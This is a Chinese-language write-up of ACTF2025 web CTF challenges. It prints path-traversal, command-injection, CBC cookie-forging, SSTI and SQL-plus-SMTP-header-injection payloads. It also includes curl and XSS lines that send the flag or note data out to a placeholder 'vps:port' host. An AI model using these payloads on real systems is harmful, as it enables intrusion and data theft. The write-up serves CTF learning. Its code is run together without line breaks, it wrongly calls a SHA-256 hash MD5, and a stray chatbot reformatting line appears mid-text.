ACTF2025 - Web writeup

ACTF2025 - Web writeup

ACTF upload

進去后是一個登錄界面,輸入用戶名后登錄,然后到一個文件上傳的界面。

/upload?file_path= 處,可以實現任意文件讀取,文件內容保存在 img 標簽中的 base64 值中。

示例請求:

/upload?file_path=../../../../../../../../etc/passwd

繼續讀取:

/proc/self/cmdline

得知 app.py 路徑,讀源碼:

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, sessionapp = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')@app.route('/')
def index():if session.get('username'):return redirect(url_for('upload'))else:return redirect(url_for('login'))@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username == 'admin':if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0': #backdoorsession['username'] = usernamereturn redirect(url_for('index'))else:flash('Invalid password')else:session['username'] = usernamereturn redirect(url_for('index'))else:return '''<h1>Login</h1><h2>No need to register.</h2><form action="/login" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><br><label for="password">Password:</label><input type="password" id="password" name="password" required><br><input type="submit" value="Login"></form>'''@app.route('/upload', methods=['POST', 'GET'])
def upload():if not session.get('username'):return redirect(url_for('login'))if request.method == 'POST':f = request.files['file']file_path = str(uuid.uuid4()) + '_' + f.filenamef.save('./uploads/' + file_path)return redirect(f'/upload?file_path={file_path}')else:if not request.args.get('file_path'):return '''<h1>Upload Image</h1><form action="/upload" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'''else:file_path = './uploads/' + request.args.get('file_path')if session.get('username') != 'admin':with open(file_path, 'rb') as f:content = f.read()b64 = base64.b64encode(content)return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'else:os.system(f'base64 {file_path} > /tmp/{file_path}.b64')# with open(f'/tmp/{file_path}.b64', 'r') as f:#     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'return 'Sorry, but you are not allowed to view this image.'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

/upload 接口處,如果驗證登錄名為 admin 就可以進入 os.system 命令執行。

/login 接口處,如果賬號為 admin,密碼為 backdoor(md5 值為 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0)即可登錄 admin 賬戶。

admin 登錄后,訪問:

/upload?file_path=`ls / > /tmp/1.txt`

ls / 的內容寫入 /tmp/1.txt

再訪問:

/upload?file_path=../../../../../../../../tmp/1.txt

發現有個 Fl4g_is_H3r3

再訪問:

/upload?file_path=../../../../../../../../Fl4g_is_H3r3

把 base64 的值解碼即得到 flag


not so web 1

一進去是 Base64 編碼的字符串,解密后是源代碼。

代碼審計發現可以先使用 CBC 翻轉攻擊 修改用戶名,然后利用 SSTI 漏洞。

我們注冊賬號如下:

  • 用戶名:zdmin
  • 密碼:123456

然后復制 Cookie 并解密:

import base64
import binasciicookie = "wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG"
decoded_data = base64.b64decode(cookie)iv = decoded_data[:16]
encrypted = decoded_data[16:]
print(decoded_data)
print(decoded_data.hex())
print("IV (hex):", iv.hex())
print("Encrypted (hex):", encrypted.hex())

運行腳本得到:

c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186
IV (hex): c3 03 1d a4 51 a8 d0 b5 90 68 fb 07f2cd8388
Encrypted (hex): ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186

根據本地嘗試數據:

{"name": "zdmin", "password_raw": "123456", "register_time": 1745636131}

應該在第 11 字節處將 z 改為 a,變為 admin

執行異或計算:

cipher_11_hex = "fb"  
cipher_11_dec = int(cipher_11_hex, 16)  # 轉為十進制
print(cipher_11_dec)# 計算異或結果
result_dec = cipher_11_dec ^ ord('z') ^ ord('a')
result_hex = hex(result_dec)# 輸出結果
print(f"cipher[11] (hex): 0x{cipher_11_hex}")
print(f"ord('z'): {ord('z')} (0x{ord('z'):02x})")
print(f"ord('a'): {ord('a')} (0x{ord('a'):02x})")
print(f"Result (decimal): {result_dec}")
print(f"Result (hex): {result_hex}")  
print(f"Result as char: {chr(result_dec)}")

重新構造并輸出新的 Cookie:

a = "c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186"
a_bytes = binascii.unhexlify(a)  # 轉為 bytes
b = base64.b64encode(a_bytes).decode()  # Base64 編碼并轉為字符串
print(b)

對比發現修改了一個字節:

原 Cookie:
wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG修改后:
wwMdpFGo0LWQaOAH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG

之后觸發 SSTI 漏洞:

?payload={{url_for.__globals__.os.popen("cat flag.txt").read()}}

以下是你提供內容的純格式整理版 Markdown,僅調整結構與格式,未增刪任何原始信息:


not so web 2

發現 parse_cookie 函數的問題,驗簽函數核心在于:

PKCS1_v1_5.new(public_key).verify(msg_hash, sig)

但查看文檔得知:

也就是說,如果簽名有效,方法正常返回;如果簽名無效,方法會拋出 ValueErrorTypeError 異常。

因此,該函數并沒有實際的驗簽邏輯,只是判斷簽名是否有效。

我們只需要將用戶名改為 admin 并保證簽名有效即可通過驗證,之后仍然可以觸發 SSTI 漏洞。

Payload 1:

{{ lipsum["\x5f\x5fglobals\x5f\x5f"].os.popen("ls").read() }}

Payload 2:

{{ lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag.txt")|attr("read")() }}

Excellent-Site

題目描述
127.0.0.1 ezmail.org(意思是配置了hosts)

附件如下:

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part[1])subject, encoding = decode_header(msg["Subject"])[0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("ezmail.org")mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)message = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/admin", methods=["GET"])
def admin():ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/news", methods=["GET"])
def news():news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000)

/news 這里有 SQL 注入,sqlmap跑了一遍,數據庫里沒有什么有效信息。

一開始,思路主要集中在繞過waf上,但后來才想出來這里的每一個接口都是有用的

1、通過/news可以構造返回值為任意字符,進而構造SSTI payload(從而繞過了fetch_page_content函數)
http://ezmail.org:3000/news?id=-1 UNION SELECT '{{lipsum.__globals__.os.popen("cat /flag > app.py").read()}}'

2、將構造好的payload在/report接口出以url參數替換SMTP協議部分的subject部分(payload中還需要用Resent-From頭來繞過發件人為admin@ezmail.org這個限制)

3、訪問/bot觸發SSTI,命令執行

為了正確地處理郵件的收發,我們還需要在本地搭建一個郵件服務器:

# 使用 Docker 快速部署郵件服務器
docker run -d --name ctfmail4 \-p 25:25 \-e SMTP_SERVER=ezmail.org \-e SMTP_USERNAME=admin@ezmail.org \-e SMTP_PASSWORD='p@ssword' \-e SERVER_HOSTNAME=mail.ezmail.org \juanluisbaptiste/postfix:latest

改造后的app.py,便于本地測試

import logging
import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)
# app.logger.setLevel(logging.DEBUG)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part  [1])subject, encoding = decode_header(msg["Subject"])  [0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"#解析url,當url滿足 http & hostname=ezmail.org時,訪問url,返回網頁內容
def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/admin", methods=["GET"])
def admin():print('admin1')ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/ssti", methods=["GET"])
def admin1():page_content = request.args.get("c")return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("localhost", 1026)mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)print(f"mail_content is : {mail_content}")server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)return mail_contentmessage = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/test", methods=["POST"])
def fetch_page_contentTEST():url = request.form.get("url", "")print(f"[DEBUG] 收到的URL: {url}")try:parsed_url = urlparse(url)print(f"[DEBUG] 解析后的URL: {parsed_url}")print(f"[DEBUG] Scheme: {parsed_url.scheme}")print(f"[DEBUG] Hostname: {parsed_url.hostname}")if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':print("[DEBUG] URL檢測不通過,返回SSRF Attack!")return "SSRF Attack!"print(f"[DEBUG] 發送請求到: {url}")response = requests.get(url)print(f"[DEBUG] 返回狀態碼: {response.status_code}")if response.status_code == 200:print("[DEBUG] 成功拿到網頁內容")return response.textelse:print("[DEBUG] 請求失敗,狀態碼非200")return "ERROR"except Exception as e:print(f"[DEBUG] 出現異常: {e}")return "ERROR"#數據庫查詢
@app.route("/news", methods=["GET"])
def news():# return '123444'news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000,debug=True)

最后的payload如下:
(注意payload中的端口3000,十分致命)

import time
import requestsurl = "題目地址"# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://vps:port/`cat /flag|base64`\").read()}}"
# 郵件頭注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"data = {"url": subject, "content": ""}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")print('done.')

eznote

js偽協議

app.js

const express = require('express')
const session = require('express-session')
const { randomBytes } = require('crypto')
const fs = require('fs')
const spawn = require('child_process')
const path = require('path')
const { visit } = require('./bot')
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');const DOMPurify = createDOMPurify(new JSDOM('').window);const LISTEN_PORT = 3000
const LISTEN_HOST = '0.0.0.0'const app = express()app.set('views', './views')
app.set('view engine', 'html')
app.engine('html', require('ejs').renderFile)app.use(express.urlencoded({ extended: true }))app.use(session({secret: randomBytes(4).toString('hex'),saveUninitialized: true,resave: true,}))app.use((req, res, next) => {if (!req.session.notes) {req.session.notes = []}next()
})const notes = new Map()setInterval(() => { notes.clear() }, 60 * 1000);function toHtml(source, format){if (format == undefined) {format = 'markdown'}let tmpfile = path.join('notes', randomBytes(4).toString('hex'))fs.writeFileSync(tmpfile, source)let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString()// fs.unlinkSync(tmpfile)return DOMPurify.sanitize(res)
}app.get('/ping', (req, res) => {res.send('pong')
})app.get('/', (req, res) => {res.render('index', { notes: req.session.notes })
})app.get('/notes', (req, res) => {res.send(req.session.notes)
})app.get('/note/:noteId', (req, res) => {let { noteId } = req.paramsif(!notes.has(noteId)){res.send('no such note')return} let note = notes.get(noteId)res.render('note', note)
})app.post('/note', (req, res) => {let noteId = randomBytes(8).toString('hex')let { title, content, format } = req.bodyif (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {res.send("illegal format!!!")return}notes.set(noteId, {title: title,content: toHtml(content, format)})req.session.notes.push(noteId)res.send(noteId)
})app.get('/report', (req, res) => {res.render('report')
})app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})app.listen(LISTEN_PORT, LISTEN_HOST, () => {console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)
})

bot.js

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')const FLAG = (() => {let flag = 'flag{test}'if (fs.existsSync('flag.txt')){flag = fs.readFileSync('flag.txt').toString()fs.unlinkSync('flag.txt')} return flag
})()const HEADLESS = !!(process.env.PROD ?? false)const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}module.exports = {visit
}

flag在bot.js的visit函數中作為content的值回顯

async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}

而app.js中的/report接口調用了visit函數,

app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})

邏輯:訪問/report接口,服務器會先提交一份包含flag的筆記(但筆記對應的noteid未知),然后訪問傳入的url。

只要獲取到對應的noteid,就獲取到了flag

可以在 /report 中提交url 參數,利用javascript偽協議,通過 xss 訪問/notes接口,獲得 bot 的 noteId ,從而獲得 flag

payload:

javascript:fetch('/notes').then(r=>r.text()).then(d=>{new Image().src='http://vps:port/?data='+encodeURIComponent(d)})

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/79139.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/79139.shtml
英文地址,請注明出處:http://en.pswp.cn/web/79139.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

BERT模型講解

BERT的模型架構 BERT: Bidirectional Encoder Representations from Transformers BERT這個名稱直接反映了&#xff1a;它是一個基于Transformer編碼器的雙向表示模型。BERT通過堆疊多層編碼器來構建深度模型。舉例來說&#xff1a; BERT-Base&#xff1a;堆疊了12層Encoder&a…

權限控制模型全解析:RBAC、ACL、ABAC 與現代混合方案

權限控制模型全解析&#xff1a;RBAC、ACL、ABAC 與現代混合方案 在企業信息系統、SaaS 應用、安全平臺中&#xff0c;權限控制模型是確保用戶訪問安全和功能隔離的基礎架構設計之一。本文將系統性梳理常見的權限控制模型&#xff0c;包括 RBAC、ACL、ABAC、DAC、MAC、ReBAC 等…

一些模型測試中的BUG和可能解決方法

一些模型測試中的BUG和可能解決方法 模型一直重復反饋相同內容的問題查找思路 如下順序也是排查優先級 檢查提示詞和上下文,保證提示詞中沒有類似的要求,然后再查看上下文是不是占滿了token長度。檢查一下選擇的model是不是本身就有這樣的問題嘗試增加repeat_penalty(1.05、…

Kafka的Log Compaction原理是什么?

Kafka的Log Compaction&#xff08;日志壓縮&#xff09;是一種獨特的數據保留策略&#xff0c;其核心原理是保留每個key的最新有效記錄。以下是關鍵原理分點說明&#xff1a; 1. 鍵值保留機制 通過掃描所有消息的key&#xff0c;僅保留每個key對應的最新value值。例如&#…

在 MyBatis 中實現控制臺輸出 SQL 參數

在 MyBatis 中實現控制臺輸出 SQL 參數&#xff0c;可通過以下方案實現&#xff1a; # 一、使用 MyBatis-Plus 的 SqlLogInterceptor&#xff08;推薦&#xff09; ?適用場景?&#xff1a;項目已集成 MyBatis-Plus&#xff08;3.5.3版本&#xff09; ?配置步驟?&#xff…

黃金、碳排放期貨市場API接口文檔

StockTV 提供了多種期貨市場的數據接口&#xff0c;包括獲取K線圖表數據、查詢特定期貨的實時行情等。以下為對接期貨市場的詳細接口說明。 一、獲取K線圖表數據 通過調用/futures/kline接口&#xff0c;您可以獲取指定期貨合約的歷史K線數據&#xff08;例如開盤價、最高價、…

“ES7+ React/Redux/React-Native snippets“常用快捷前綴

請注意&#xff0c;這是一個常用的列表&#xff0c;不是擴展提供的所有前綴。最完整和最新的列表請參考擴展的官方文檔或在 VS Code 中查看擴展的詳情頁面。 React (通常用于 .js, .jsx, .ts, .tsx): rfce: React Functional Component with Export Defaultrafce: React Arro…

[Windows] 能同時打開多個圖片的圖像游覽器JWSEE v2.0

[Windows] 能同時打開多個圖片的圖像游覽器JWSEE 鏈接&#xff1a;https://pan.xunlei.com/s/VOPpO86Hu3dalYLaZ1ivcTGIA1?pwdhckf# 十多年前收藏的能同時打開多個圖片的圖像游覽器JWSEE v2.0&#xff0c;官網已沒有下載資源。 JWSEE v2.0是烏魯木齊金維圖文信息科技有限公司…

[AI Tools] Dify 工具插件上傳指南:如何將插件發布到官方市場

Dify 作為開源的 LLM 應用開發平臺,不僅支持本地化插件開發,也提供了插件市場機制,讓開發者能夠將自己構建的插件發布并供他人使用。本文將詳細介紹如何將你開發的 Dify Tools 插件上傳至官方插件市場,包括 README 編寫、插件打包、倉庫 PR 等核心步驟。 一、準備 README 文…

gradle3.5的安裝以及配置環境變量

下載資源 Gradle |釋放 往下滑找到3.5版本&#xff0c;有條件的翻譯一下 這是原文點擊下載后解壓 隨后配置環境變量 變量名 GRADLE_HOME 變量值為bin路徑 配置path環境 win11直接添加%GRADLE_HOME%\bin 隨后進入命令提示符 輸入gradle -v 能看到版本號即為成功

單片機開發基礎與高效流程

單片機開發涉及硬件與軟件的緊密協作&#xff0c;是嵌入式系統的核心技術之一。以下從開發流程、調試技巧、代碼優化等方面詳細闡述高效開發方法。 一、開發環境搭建與配置 選擇合適的開發工具鏈是高效開發的基礎。以 STM32 為例&#xff0c;常用工具包括&#xff1a; IDE 選…

大模型系列(四)--- GPT2: Language Models are Unsupervised Multitask Learners?

論文鏈接&#xff1a; Language Models are Unsupervised Multitask Learners 點評&#xff1a; GPT-2采用了與GPT-1類似的架構&#xff0c;將參數規模增加到了15億&#xff0c;并使用大規模的網頁數據集WebText 進行訓練。正如GPT-2 的論文所述&#xff0c;它旨在通過無監督語…

數字孿生[IOC]常用10個技術棧(總括)

1. 什么是數字孿生&#xff1f; 數字孿生&#xff08;Digital Twin&#xff09; 是通過數字化技術對物理實體&#xff08;如設備、系統或環境&#xff09;進行高精度建模和實時映射的虛擬副本。其核心是通過 數據驅動 實現物理世界與虛擬世界的雙向交互&#xff0c;支持實時監控…

cnas軟件檢測實驗室質量管理體系文件思維導圖,快速理清全部文件

軟件檢測實驗室在申請CNAS資質時&#xff0c;需要根據認可文件的要求&#xff0c;建立實驗室質量管理體系&#xff0c;明晰地展示組織架構、合理地安排人員崗位職責和能力要求、全面地覆蓋認可文件要求的質量要素。這是一項非常龐大的工作&#xff0c;涉及到的文件類型非常多&a…

[Windows] 東芝存儲診斷工具1.30.8920(20170601)

[Windows] 東芝存儲診斷工具 鏈接&#xff1a;https://pan.xunlei.com/s/VOPpMjGdWZOLceIjxLNiIsIEA1?pwduute# 適用型號 東芝消費類存儲產品&#xff1a; 外置硬盤&#xff1a;Canvio 系列 內置硬盤&#xff1a;HDW****&#xff08;E300 / N300 / P300 / S300 / V300 / X30…

C++ learning day 01

目錄 1. iostream : 2.第一個C++程序 3. 執行過程以及以上例子詳解(以上例子為參考) 1. iostream : 全稱: input/output stream library 作用: 用于處理輸入輸出操作 2.第一個C++程序 #include <iostream>int main() {std::cout << "Hello World! &qu…

單位代碼簽名證書是什么?如何申請?

軟件安全已成為企業不可忽視的核心話題&#xff0c;當用戶下載企業級軟件時&#xff0c;若遇到“未知發布者”的警告彈窗&#xff0c;很可能是由于軟件未進行數字簽名所致。這種看似簡單的提示背后&#xff0c;隱藏著巨大的安全隱患與信任危機。而單位代碼簽名證書&#xff0c;…

《Zabbix Proxy分布式監控實戰:從安裝到配置全解析》

注意&#xff1a;實驗所需的zabbix服務器的搭建可參考博客 zabbix 的docker安裝_docker安裝zabbix-CSDN博客 1.1 實驗介紹 1.1.1 實驗目的 本實驗旨在搭建一個基于Zabbix的監控系統&#xff0c;通過安裝和配置Zabbix Proxy、MySQL數據庫以及Zabbix Agent&#xff0c;實現分…

泛型設計模式實踐

學海無涯&#xff0c;志當存遠。燃心礪志&#xff0c;奮進不輟。 愿諸君得此雞湯&#xff0c;如沐春風&#xff0c;事業有成。 若覺此言甚善&#xff0c;煩請賜贊一枚&#xff0c;共勵學途&#xff0c;同鑄輝煌&#xff01; 為解決在設計框架或庫時遇到的類型安全問題&#xff…

【kafla掃盲】FROM GPT

Kafka 掃盲指南&#xff1a;分布式流處理利器 Apache Kafka 是一個分布式流處理平臺&#xff0c;最早由 LinkedIn 開發&#xff0c;后來開源并捐贈給 Apache 基金會。Kafka 專為高吞吐量、低延遲的實時數據流處理而設計&#xff0c;廣泛用于日志收集、實時分析、消息隊列、流處…